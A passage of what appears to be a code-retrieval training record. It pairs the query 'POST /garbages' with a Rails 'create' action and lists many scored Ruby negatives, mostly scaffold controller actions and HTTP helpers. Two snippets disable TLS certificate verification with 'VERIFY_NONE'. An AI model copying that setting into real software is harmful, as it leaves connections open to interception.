format.html # new.html.erb\n format.xml { render :xml => @request }\n end\n end", "def new\n @request = Request.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @request }\n end\n end", "def new\n @ref = Ref.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @ref }\n end\n end", "def new\n @thing_list = ThingList.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @thing_list }\n end\n end", "def new\n @geoname = Geoname.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @geoname }\n end\n end", "def new\n @request = Request.new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @request }\n end\n end", "def new\n @tag = Tag.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @tag }\n end\n end", "def new\n @tag = Tag.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @tag }\n end\n end", "def new\n @tag = Tag.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @tag }\n end\n end", "def new_rest\n @page_usage_event = PageUsageEvent.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @page_usage_event }\n end\n end", "def new\n @rink = Rink.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @rink }\n end\n end", "def new\n @retain_node_selector = RetainNodeSelector.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @retain_node_selector }\n end\n end", "def new\n @omatsuri = Omatsuri.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @omatsuri }\n end\n end", "def new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @coating }\n end\n end", "def new\n @special = Special.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @special }\n end\n end", "def new\n @hacker = Hacker.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @hacker }\n end\n end", "def new\n respond_to do |format|\n format.html { head :forbidden }\n format.xml { head :forbidden }\n end\n end", "def new\n @news = News.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @news }\n end\n end", "def new\n @news = News.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @news }\n end\n end", "def new\n @news = News.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @news }\n end\n end", "def new\n @black = Black.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @black }\n end\n end", "def new\n @content = Content.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @content }\n end\n end", "def new\n @content = Content.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @content }\n end\n end", "def new\n @content = Content.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @content }\n end\n end", "def new\n @content = Content.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @content }\n end\n end", "def new\n @traffic = Traffic.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @traffic }\n end\n end", "def new\n @node = Node.new(:displayed => true)\n @node.template = Template.new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @node }\n end\n end", "def new\n @pushed = Pushed.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @pushed }\n end\n end", "def new\n @want = Want.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @want }\n end\n end", "def new\r\n @tag_cloud = TagCloud.new\r\n\r\n respond_to do |format|\r\n format.html # new.html.erb\r\n format.xml { render :xml => @tag_cloud }\r\n end\r\n end", "def new\n @holder = Holder.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @holder }\n end\n end", "def new\n @tracker = Tracker.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @tracker }\n end\n end", "def new_rest\n @item_usage = ItemUsage.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @item_usage }\n end\n end", "def new\n @check = Check.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @check }\n end\n end", "def new_rest\n @instrument_version = InstrumentVersion.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @instrument_version }\n end\n end", "def new\n @changelog = Changelog.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @changelog }\n end\n end", "def new\n @scraper = Scraper.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @scraper }\n end\n end", "def new\n @neighborhood = Neighborhood.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @neighborhood }\n end\n end", "def new\n @buddy = Buddy.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @buddy }\n end\n end", "def new\n respond_to do |format|\n format.html { render :layout => 'application' }\n format.xml { render :xml => @recommand }\n end\n end", "def new\n @ganho = Ganho.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @ganho }\n end\n end", "def new\n @drop = @npc.drops.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @drop }\n end\n end", "def new\n @visit_stat = VisitStat.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @visit_stat }\n end\n end", "def new\n @kingdom = Kingdom.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @kingdom }\n end\n end", "def new\n @noun = Noun.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @noun }\n end\n end" ]
[ "0.6720236", "0.6146797", "0.6136578", "0.6127441", "0.60301995", "0.6021557", "0.6003334", "0.5982964", "0.59825677", "0.59700555", "0.59499127", "0.5934086", "0.5903696", "0.5872607", "0.5869017", "0.585763", "0.58523476", "0.58399767", "0.5836569", "0.58240443", "0.5818218", "0.5807183", "0.5790398", "0.5783157", "0.5783157", "0.5759355", "0.57418495", "0.5734668", "0.572739", "0.57272613", "0.572397", "0.5720759", "0.571671", "0.5710711", "0.5694247", "0.56925255", "0.569156", "0.5679081", "0.56785905", "0.5678215", "0.5678215", "0.56747144", "0.5672857", "0.56710494", "0.5662093", "0.56558305", "0.5655264", "0.5652608", "0.56454873", "0.56437373", "0.5632066", "0.56271064", "0.562261", "0.5622272", "0.5615943", "0.5615943", "0.5615943", "0.56110805", "0.5607403", "0.5604688", "0.5602349", "0.5600559", "0.5600559", "0.5600559", "0.5600474", "0.5598084", "0.55932593", "0.55906945", "0.55902624", "0.5587658", "0.55866987", "0.5585455", "0.5577279", "0.5577279", "0.5577279", "0.5572251", "0.5567972", "0.5567972", "0.5567972", "0.5567972", "0.55658746", "0.5561753", "0.5561711", "0.5556936", "0.5556424", "0.5554837", "0.555226", "0.5549116", "0.5545728", "0.55407614", "0.5536289", "0.55350566", "0.5534946", "0.5528182", "0.55263937", "0.55257255", "0.5522073", "0.5521844", "0.55208486", "0.55205333" ]
0.62358534
1
POST /garbages POST /garbages.xml
def check @garbage = Garbage.new(params[:garbage]) render :action => :new, :status => 400 and return unless @garbage.valid? end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def create\n @garbage = Garbage.new(params[:garbage])\n\n respond_to do |format|\n if @garbage.save\n format.html { redirect_to @garbage, notice: 'Garbage was successfully created.' }\n format.json { render json: @garbage, status: :created, location: @garbage }\n else\n format.html { render action: \"new\" }\n format.json { render json: @garbage.errors, status: :unprocessable_entity }\n end\n end\n end", "def garbage!\n @garbage = true\n end", "def destroy\n @garbage = Garbage.find(params[:id])\n @garbage.destroy\n\n respond_to do |format|\n format.html { redirect_to garbages_url }\n format.json { head :no_content }\n end\n end", "def new\n @garbage = Garbage.new(params[:garbage])\n end", "def create\n begin\n @garbage = Garbage.new(params[:garbage])\n\n @garbage.save!\n\n flash[:notice] = t(:success_created, :id => @garbage.id)\n redirect_to(garbages_url)\n rescue => e\n# flash[:error] = t(:error_default, :message => e.message)\n render :action => :new\n end\n end", "def garbage_collect\n end", "def garbage_collect\n end", "def destroy\n @garbage_type.destroy\n respond_to do |format|\n format.html { redirect_to garbage_types_url, notice: 'Garbage type was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def create\n @garbage_type = GarbageType.new(garbage_type_params)\n\n respond_to do |format|\n if @garbage_type.save\n format.html { redirect_to @garbage_type, notice: 'Garbage type was successfully created.' }\n format.json { render :show, status: :created, location: @garbage_type }\n else\n format.html { render :new }\n format.json { render json: @garbage_type.errors, status: :unprocessable_entity }\n end\n end\n end", "def collect_garbage!\n find_including_new_records(:all, :conditions => ['as_new = ? AND created_at < ?', true, Time.now - 1.week]).each(&:destroy)\n end", "def do_garbage(garbage)\n response_syntax_error :message=>\"syntax error - invalid character\"\n end", "def collectGarbage\n\t\t\ta = []\n\t\t\t1000.times { a << {} }\n\t\t\ta = nil\n\t\t\tGC.start\n\t\tend", "def new\n @garbage = Garbage.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @garbage }\n end\n end", "def set_garbage_type\n @garbage_type = GarbageType.find(params[:id])\n end", "def test_data_cleaning\n customer = rand(0..10)\n stream = rand(0..10)\n\n 10.times do\n post '/watch', {customer_id: customer, stream_id: stream}\n assert_equal 200, last_response.status\n end\n\n sleep 10\n\n trace_test 'data cleaning test', app.settings.customers, app.settings.streams\n\n assert_equal 0, app.settings.customers.length\n assert_equal 0, app.settings.streams.length\n\n end", "def index\n @garbage_types = GarbageType.all\n end", "def create\n @slow_thing = SlowThing.new(slow_thing_params)\n\n respond_to do |format|\n if @slow_thing.save\n\n domain = URI(root_url)\n Net::HTTP.start(domain.host, domain.port) do |http|\n Rails.logger.debug \"purging #{domain}\"\n http.request( Purge.new(domain) )\n\n Rails.logger.debug \"purging #{slow_things_url}\"\n http.request( Purge.new(URI(slow_things_url)) )\n end\n\n format.html { redirect_to @slow_thing, notice: 'Slow thing was successfully created.' }\n format.json { render :show, status: :created, location: @slow_thing }\n else\n format.html { render :new }\n format.json { render json: @slow_thing.errors, status: :unprocessable_entity }\n end\n end\n end", "def db_cleaner\n JSON.parse(params[:mongified_data][:data]).each do |data|\n data[\"lob\"] = params[:mongified_data][:lob]\n @client.destroy(data)\n end\n end", "def purge_request(params, *titles)\n params[:action] = 'purge'\n params[:titles] = titles.join('|')\n\n post(params)['purge'].inject({}) do |result, hash|\n title = hash['title']\n result[title] = hash.key?('purged') && !hash.key?('missing')\n warn \"Invalid purge (#{title}) #{hash['invalidreason']}\" if hash.key?('invalid')\n result\n end\n end", "def clear_all\n clear\n clear_stored_requests\n end", "def garbage_closed\n state[:garbage] = false\n end", "def clear_garbage\n self.tmp_garbage.each do |relation, record|\n if record.is_a? Array\n record.each { |r| r.destroy }\n else\n record.destroy\n end\n end if self.tmp_garbage.present?\n self.tmp_garbage = {}\n end", "def destroy\n @csrfattack.destroy\n respond_to do |format|\n format.html { redirect_to csrfattacks_url, notice: 'Csrfattack was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def collect_garbage(options = {})\n config = load_config(options)\n last_key = eliminate_unwanted_sessions(config)\n while !last_key.empty?\n last_key = eliminate_unwanted_sessions(config, last_key)\n end\n end", "def destroy\n\n\t\turi = URI.parse(Counter::Application.config.simplyurl)\n\t\thttp = Net::HTTP.new(uri.host, uri.port)\n\t\t\n\t\trequest = Net::HTTP::Delete.new('/offsets/doit.json')\n\t\tputs params\n\t\tputs params.slice(*['custids','acctids'])\n\t\t\n\t\t# ok, this join stuff is bogus - it encodes properly, but the other side only sees the last element and loses the array type - it's just string\n\t\t# this way, i 'split' it at the other side to recover my array\n\t\t# it should work without the join/split crap, but it doesn't\n\t\trequest.set_form_data({:custids => ( params['custids'] || []).join(','), :acctids => ( params['acctids'] || []).join(','), :itemids => ( params['itemids'] || []).join(',')})\n\t\t\n\t\tputs request.body\n\t\t\n\t\tresponse = http.request(request)\n\t\tputs response.body\n\n respond_to do |format|\n format.html { render :text => response.code == :ok ? \"\" : response.body, status: response.code }\n format.json { render :text => response.code == :ok ? \"\" : response.body, status: response.code }\n end\n end", "def purge\n end", "def refill_all_queues!\n # Dla POST musi byc jakies 'body' requestu, bo serwery czesto rzucaja wyjatkami (WEBrick w szczegolnosci).\n post '/queues/refill_all', :body => ' '\n true\n end", "def purge!\n @data = nil\n end", "def purge!\n @data = nil\n end", "def DataReset()\n @xml_data = \"\"\n end", "def purge_unused_tags!\n unused_tags.each do |tag|\n logger.info(\"Purging tag '#{tag}'\")\n entries_with(label: tag).each do |entry|\n payload = Protocol::Device::SetTagLabels.new(tags: id_to_tags_field(entry.tag_id), label: '')\n context.send_message(target: Target.new(site_id: entry.site_id),\n payload: payload,\n acknowledge: true)\n end\n end\n Timeout.timeout(5) do\n while !unused_tags.empty?\n sleep 0.1\n end\n end\n end", "def postEntityPurge( entity_id, purge_masheryid, purge_supplier_id, purge_user_id, exclude, destructive)\n params = Hash.new\n params['entity_id'] = entity_id\n params['purge_masheryid'] = purge_masheryid\n params['purge_supplier_id'] = purge_supplier_id\n params['purge_user_id'] = purge_user_id\n params['exclude'] = exclude\n params['destructive'] = destructive\n return doCurl(\"post\",\"/entity/purge\",params)\n end", "def charge(attrs = {})\n post :charges, {}, attrs.to_xml(:root => :charge)\n end", "def garbage_opened\n state[:garbage] = true\n end", "def destroy_empty\n @obj = Node.find(params[:id])\n @obj.destroy_empty\n respond_to do |format|\n format.html { redirect_to nodes_url }\n format.json { head :no_content }\n end\n end", "def update\n @garbage = Garbage.find(params[:id])\n\n respond_to do |format|\n if @garbage.update_attributes(params[:garbage])\n format.html { redirect_to @garbage, notice: 'Garbage was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @garbage.errors, status: :unprocessable_entity }\n end\n end\n end", "def clean_cache\n node.normal['cloudflare']['threat_control']['status_cache'].reject! { |ip, data| is_stale? data['datetime'] }\nend", "def cleanup_xml\n return nil unless xml\n xml.gsub!(/<EFFICIENCY>-<\\/EFFICIENCY>/, '<EFFICIENCY>0.0</EFFICIENCY>')\n end", "def request_uncached request\n sleep 0.001 * options.delay.to_f # Sleep if requested\n\n if options.debug\n print \"Opening #{request[:uri]}...\"; $stdout.flush\n end\n\n if request[:method] == :get\n self.uri = request[:uri]\n else\n raise Exception, 'POST requests not supported yet'\n end\n \n puts 'done!' if options.debug\n \n if self.html_data?\n triples = extract(self.uri, html, self.kb, options.referenceable) # Extract data\n Dumper.dump self.uri, clean(triples), options.format if options.dump # Dump results to disk\n triples\n else\n []\n end\n end", "def destroy\n @heartbeat.destroy\n\n head :no_content\n end", "def destroy\n @refugee.destroy\n respond_to do |format|\n format.html { redirect_to refugees_url, notice: 'Refugee was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def delete_requests\n self.requests.each {|request| request.destroy}\n end", "def generate_tags\n uri = URI.parse(\"https://api.thomsonreuters.com/permid/calais\")\n http = Net::HTTP.new(uri.host, uri.port)\n http.use_ssl = true\n post_body = []\n post_body << \"<Document><Body>\"\n # stip html\n post_body << ActionView::Base.full_sanitizer.sanitize(params[:desc])\n # no strip\n # post_body << params[:desc]\n post_body << \"</Body></Document>\"\n request = Net::HTTP::Post.new(uri.request_uri)\n request.add_field(\"Content-Type\",\"text/xml\")\n request.add_field(\"outputFormat\",\"application/json\")\n #request.add_field(\"outputFormat\",\"text/n3\") \n request.add_field(\"x-ag-access-token\",\"fY7WUM3GGCXHm9ATOhtzhrvlWX8oPo5X\")\n request.body = post_body.join\n # request[\"Content-Type\"] = \"multipart/form-data, boundary=#{BOUNDARY}\"\n\n render :json => http.request(request).body\n end", "def invalidate(files, pos=0)\n paths, count = \"\", 0\n\n files[pos...(pos+CF_BATCH_SIZE)].each do |key|\n count += 1\n paths += \"<Path>#{key.to_s.gsub(/ /, '%20')}</Path>\"\n end\n\n return if count < 1\n\n paths = \"<Paths><Quantity>#{count}</Quantity><Items>#{paths}</Items></Paths>\"\n\n digest = HMAC::SHA1.new(SECRET_ACCESS_KEY)\n digest << date = Time.now.utc.strftime(\"%a, %d %b %Y %H:%M:%S %Z\")\n\n uri = URI.parse(\"https://cloudfront.amazonaws.com/2012-07-01/distribution/#{CLOUD_DIST_ID}/invalidation\")\n header = {\n 'x-amz-date' => date,\n 'Content-Type' => 'text/xml',\n 'Authorization' => \"AWS %s:%s\" % [ACCESS_KEY_ID, Base64.encode64(digest.digest)]\n }\n req = Net::HTTP::Post.new(uri.path)\n req.initialize_http_header(header)\n body = \"<InvalidationBatch xmlns=\\\"http://cloudfront.amazonaws.com/doc/2012-07-01/\\\">#{paths}<CallerReference>ref_#{Time.now.utc.to_i}</CallerReference></InvalidationBatch>\"\n req.body = body\n\n http = Net::HTTP.new(uri.host, uri.port)\n http.use_ssl = true\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n res = http.request(req)\n puts res.code == '201' ? \"CloudFront reloading #{count}\" : \"Failed #{res.code}\"\n puts res.body if res.code != '201'\n return if res.code == 400\n\n if count == CF_BATCH_SIZE\n invalidate(files, pos+count)\n end\n end", "def create\n @user = User.find(params[:user_id])\n @post = @user.posts.new(post_params)\n if @post.privacy === nil\n @post.privacy = false\n end\n if not post_params[:images].nil?\n @post.images.purge\n end\n\n if not post_params[:attachments].nil?\n @post.attachments.purge\n end\n respond_to do |format|\n if @post.save\n format.html { redirect_to root_path, notice: 'Post was successfully created.' }\n else\n format.html { render root_path }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end", "def run_garbage_collectors\n Donation.garbage_collect( session )\n end", "def garbage_type_params\n params.require(:garbage_type).permit(:name, :picture, :description)\n end", "def action_after_save\n @content = nil\n @ng_xml = nil\n remove_instance_variable(:@ng_xml)\n end", "def clean_refill dirty_atts\n # TODO\n end", "def garbage\n correct_bin = self.bin_id\n Item.find(self.id).responses.where(bin_id: 1).count\n end", "def cleanup\n end", "def cleanup\n end", "def cleanup\n end", "def cleanup; end", "def cleanup; end", "def cleanup; end", "def cleanup; end", "def destroy\n @hotspot_registration.destroy\n respond_to do |format|\n format.html { redirect_to admin_guests_url, notice: 'Guest was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def prune params = {}\n @connection.post(build_path(\"/containers/prune\", params))\n end", "def flush_attrs\n request = Request.new\n response = perform_request(:flushattrs, request)\n\n # parse response\n begin\n response.get_int\n rescue EOFError\n -1\n end\n end", "def confirm\n @garbage = Garbage.find(params[:id])\n @garbage.attributes = params[:garbage]\n render :action => :edit, :status => 400 and return unless @garbage.valid?\n end", "def purge\n\n\t\tend", "def create_deduplication_request post\n request = Typhoeus::Request.new post.img_url\n request.on_complete do |response|\n if response.code == 200\n file = Tempfile.new('tumblr-machine')\n begin\n file.write response.body\n file.close\n fingerprint = Phashion::Image.new(file.path).fingerprint\n post.update({:fingerprint => Sequel::LiteralString.new(\"B'#{fingerprint.to_s(2).rjust(64, '0')}'\")})\n\n if database[:posts].\n where('fingerprint is not null').\n where('id != ?', post.id).\n where('hamming(fingerprint, (select fingerprint from posts where id = ?)) >= ?', post.id, DUPLICATE_LEVEL).\n count > 0\n post.update({:skip => true})\n end\n\n ensure\n file.close\n file.unlink\n end\n end\n end\n request\n end", "def destroy\n @bg_measurement.destroy\n respond_to do |format|\n format.html { redirect_to bg_measurements_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @bg_measurement.destroy\n respond_to do |format|\n format.html { redirect_to bg_measurements_url }\n format.json { head :no_content }\n end\n end", "def postEntityPurgeBy_object( entity_id, object, gen_id, purge_masheryid, purge_supplier_id, purge_user_id, destructive)\n params = Hash.new\n params['entity_id'] = entity_id\n params['object'] = object\n params['gen_id'] = gen_id\n params['purge_masheryid'] = purge_masheryid\n params['purge_supplier_id'] = purge_supplier_id\n params['purge_user_id'] = purge_user_id\n params['destructive'] = destructive\n return doCurl(\"post\",\"/entity/purge/by_object\",params)\n end", "def destroy\n @junk.destroy\n respond_to do |format|\n format.html { redirect_to junks_url, notice: 'Junk was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @blood_pressure.destroy\n respond_to do |format|\n format.html { redirect_to blood_pressures_url, notice: 'Blood pressure was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @node = Node.scopied.find(params[:id])\n @node.kill\n\n respond_to do |format|\n format.html { redirect_to(nodes_url) }\n format.xml { head :ok }\n end\n end", "def cleanup_feeds()\n status = Status.get_status('feed_item_cleanup')\n last_update = Time.at(status.value.to_i).to_i\n now = Time.now.to_i\n if (last_update + (24*60*60) < now)\n # Save the new status time first, since this could be a long cleanup.\n status.value = now.to_s\n status.save\n\n puts \"Running garbage collection on feeds_items table.\"\n delete_count = 0;\n FeedsItems.find_each(:batch_size => 2000) do |feed_item|\n unless feed_item.feed.user_id.nil? \n user = feed_item.feed.user rescue user = nil\n item = feed_item.item rescue item = nil\n if user.nil? || item.nil? || !item.acl_check?(user)\n puts \"Destroying: #{feed_item.inspect}\"\n feed_item.destroy\n delete_count = delete_count + 1\n end\n end\n end\n puts \"Done. Delete #{delete_count} feeds_items.\"\n else\n puts \"Skipping GC of feeds_items table.\"\n end\n end", "def purge_nodes(name)\n nodes = nodes_for_environment(name)\n futures = []\n\n nodes.each do |node|\n futures << ridley.client.future(:delete, node)\n futures << ridley.node.future(:delete, node)\n end\n\n futures.map(&:value)\n end", "def destroy\n @nudge.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end", "def cleanup\n end", "def cleanup\n end", "def cleanup\n end", "def cleanup\n end", "def expire!\n expire_faults!\n expire_perfs!\n end", "def cleanup(node)\n node = node.root if ::Nokogiri::XML::Document === node\n # remove unwanted tags\n node.xpath(\"//*[@jam='erase']\").each do |n|\n unwrap(n)\n end\n # remove jam attributes\n\n #\n node\n end", "def clean\n puts \"== removing all data from redis ==\"\n submission_keys = redis.lrange(SUBMISSIONS_KEY, 0, -1)\n redis.del(submission_keys) unless submission_keys.empty?\n redis.del(SUBMISSIONS_KEY)\n end", "def destroy\n @geocache.destroy\n \n #add score to user rank\n del_score_to_rank('upload')\n \n respond_to do |format|\n format.html { redirect_to(geocaches_url) }\n format.xml { head :ok }\n end\n end", "def refreshtags\n\t\tif Tag.all != nil\n\t\t\t@badtags = Tag.all.select {\n\t\t\t\t|tag|\n\t\t\t\t@usedresources = Resource.all.select {\n\t\t\t\t\t|resource|\n\t\t\t\t\tresource.tags.include? tag\n\t\t\t\t}\n\t\t\t\t@usedresources.empty?\n\t\t\t}\n\t\t\t@badtags.each {\n\t\t\t\t|tag|\n\t\t\t\ttag.destroy\n\t\t\t}\n\t\tend\n\tend", "def gc!\n delete_if { |key, s| s.expired? }\n end", "def teardown\n #commented this out because it is now unnecessary\n # @api = nil\n #GC.start\n @api.close_api\n # @server.close\n end", "def delete_all_metrics\n connection = Librato::Metrics.client.connection\n Librato::Metrics.list.each do |metric|\n #puts \"deleting #{metric['name']}...\"\n # expects 204\n connection.delete(\"metrics/#{metric['name']}\")\n end\n end", "def purge()\n time = Time.now\n @data.each do |key, item|\n if item.expiration < time\n @data.delete(key)\n puts \"DELETE #{item.value}\"\n end\n end\n end", "def purge_all(opts = {})\n data, _status_code, _headers = purge_all_with_http_info(opts)\n data\n end", "def destroy\n @retain_node = RetainNode.find(params[:id])\n @retain_node.destroy\n\n respond_to do |format|\n format.html { redirect_to(retain_nodes_url) }\n format.xml { head :ok }\n format.json { head :ok }\n end\n end", "def sanitize_data\n data + \"datacite: #{create_xml.to_xml.gsub(\"%\", \"%25\").gsub(\":\", \"%3A\").gsub(\"\\n\", \"%0D%0A\").gsub(\"\\r\", \"\")}\\n\"\n end", "def post url\n Timeout.timeout(60) do\n puts \"POST: #{url}\" if config[:debug]\n \n tags = (Hpricot(open(\"http://del.icio.us/url/check?url=#{CGI.escape(url)}\"))/\n '#top-tags'/'li')[0..10].map do |li| \n (li/'span').innerHTML[/(.*?)<em/, 1]\n end.join(\" \")\n puts \"POST-TAGS: #{tags}\" if config[:debug]\n \n description = begin\n Timeout.timeout(5) do \n (((Hpricot(open(url))/:title).first.innerHTML or url) rescue url)\n end\n rescue Timeout::Error\n puts \"POST: URL timeout\" if config[:debug]\n url\n end\n \n query = { :url => url, :description => description, :tags => tags, :replace => 'yes' }\n\n http = Net::HTTP.new('api.del.icio.us', 443) \n http.use_ssl = true \n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n response = http.start do |http|\n post_url = '/v1/posts/add?' + query.map {|k,v| \"#{k}=#{CGI.escape(v)}\"}.join('&')\n puts \"POST: post url #{post_url}\" if config[:debug]\n req = Net::HTTP::Get.new(post_url, {\"User-Agent\" => \"Kirby\"})\n req.basic_auth config[:delicious_user], config[:delicious_pass]\n http.request(req)\n end.body\n\n puts \"POST: #{response.inspect}\" if config[:debug]\n end\n rescue Exception => e\n puts \"POST: #{e.inspect}\" if config[:debug]\n end", "def test_del\n header 'Content-Type', 'application/json'\n\n data = File.read 'sample-traces/0.json'\n post('/traces', data, 'CONTENT_TYPE': 'application/json')\n\n id = last_response.body\n\n delete \"/traces/#{id}\"\n assert last_response.ok?\n\n get \"/traces/#{id}\"\n\n contents = JSON.parse last_response.body\n assert_kind_of(Hash, contents, 'Response contents is not a hash')\n assert contents.key? 'description'\n assert(!last_response.ok?)\n end", "def cleanup_records\n Fog::DNS[:dreamhost].records.each do |r|\n # Do not delete the 'do-not-delete' record, we need it for the tests\n r.destroy if r.name =~ /#{test_domain}/ and r.name != do_not_delete_record\n end\nend", "def destroy\n @post = Post.find(params[:id])\n @post.deleted = 1\n @post.save\n\n respond_to do |format|\n format.html { redirect_to(posts_url) }\n format.xml { head :ok }\n end\n make_rss\n end", "def post_nodes_with_root\n serialize_service.post_nodes_serialized\n end", "def cleanup\n true\n end", "def cleanup\n cleanup_nonces\n cleanup_associations\n end", "def cleanup!; end", "def cleanup!; end", "def destroy\n @unlimited.destroy\n respond_to do |format|\n format.html { redirect_to unlimiteds_url }\n format.json { head :no_content }\n end\n end", "def oomfree(options = {})\n unless options[:start_time].nil? && options[:end_time].nil?\n start_date = Time.at(start_time.to_i).to_datetime\n end_date = Time.at(end_time.to_i).to_datetime\n days = (end_date - start_date).to_i + 1\n options[:days] = days\n end\n request_model = @request_model_factory.oom_count_request_model(options)\n response = @network_client.perform_request(request_model)\n\n result = JSON.parse(response.body)\n sessions = result['data']['project']['crashlytics']['oomSessionCounts']['timeSeries'][0]['allTimeCount']\n ooms = result['data']['project']['crashlytics']['oomCounts']['timeSeries'][0]['allTimeCount']\n 1 - ooms.to_f / sessions\n end", "def cleanup\n true\nend" ]
[ "0.58374274", "0.57502586", "0.5622415", "0.5446513", "0.54210997", "0.52940273", "0.52940273", "0.5208411", "0.51746607", "0.5089867", "0.5080046", "0.5039509", "0.4958417", "0.48838887", "0.482864", "0.48264802", "0.48125473", "0.47895554", "0.47783107", "0.47161138", "0.46865055", "0.46829116", "0.46794286", "0.46753412", "0.46705717", "0.46610555", "0.46489033", "0.46469295", "0.46469295", "0.46321186", "0.4614071", "0.46013588", "0.4579338", "0.45786804", "0.45780903", "0.4577847", "0.4577302", "0.45744923", "0.45726827", "0.45724303", "0.4570697", "0.45619985", "0.45522228", "0.45496118", "0.45487797", "0.4543998", "0.45403364", "0.45368323", "0.4536534", "0.4524119", "0.4516745", "0.4516745", "0.4516745", "0.45036513", "0.45036513", "0.45036513", "0.45036513", "0.45026398", "0.44999328", "0.4498467", "0.44977865", "0.4485125", "0.447288", "0.44648218", "0.44648218", "0.4461898", "0.4451667", "0.44400892", "0.44392717", "0.44378638", "0.44378513", "0.44322354", "0.4431907", "0.4431907", "0.4431907", "0.4431907", "0.4431792", "0.4430677", "0.4420661", "0.44188765", "0.4410104", "0.4407136", "0.44045874", "0.43951324", "0.43941972", "0.43855518", "0.43781012", "0.43728048", "0.43717954", "0.43670356", "0.43661723", "0.4364562", "0.43636945", "0.43600324", "0.4358638", "0.435767", "0.435767", "0.43572512", "0.43516797", "0.4351271" ]
0.5373751
5
POST /garbages POST /garbages.xml
def create begin @garbage = Garbage.new(params[:garbage]) @garbage.save! flash[:notice] = t(:success_created, :id => @garbage.id) redirect_to(garbages_url) rescue => e # flash[:error] = t(:error_default, :message => e.message) render :action => :new end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def create\n @garbage = Garbage.new(params[:garbage])\n\n respond_to do |format|\n if @garbage.save\n format.html { redirect_to @garbage, notice: 'Garbage was successfully created.' }\n format.json { render json: @garbage, status: :created, location: @garbage }\n else\n format.html { render action: \"new\" }\n format.json { render json: @garbage.errors, status: :unprocessable_entity }\n end\n end\n end", "def garbage!\n @garbage = true\n end", "def destroy\n @garbage = Garbage.find(params[:id])\n @garbage.destroy\n\n respond_to do |format|\n format.html { redirect_to garbages_url }\n format.json { head :no_content }\n end\n end", "def new\n @garbage = Garbage.new(params[:garbage])\n end", "def check\n @garbage = Garbage.new(params[:garbage])\n render :action => :new, :status => 400 and return unless @garbage.valid?\n end", "def garbage_collect\n end", "def garbage_collect\n end", "def destroy\n @garbage_type.destroy\n respond_to do |format|\n format.html { redirect_to garbage_types_url, notice: 'Garbage type was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def create\n @garbage_type = GarbageType.new(garbage_type_params)\n\n respond_to do |format|\n if @garbage_type.save\n format.html { redirect_to @garbage_type, notice: 'Garbage type was successfully created.' }\n format.json { render :show, status: :created, location: @garbage_type }\n else\n format.html { render :new }\n format.json { render json: @garbage_type.errors, status: :unprocessable_entity }\n end\n end\n end", "def collect_garbage!\n find_including_new_records(:all, :conditions => ['as_new = ? AND created_at < ?', true, Time.now - 1.week]).each(&:destroy)\n end", "def do_garbage(garbage)\n response_syntax_error 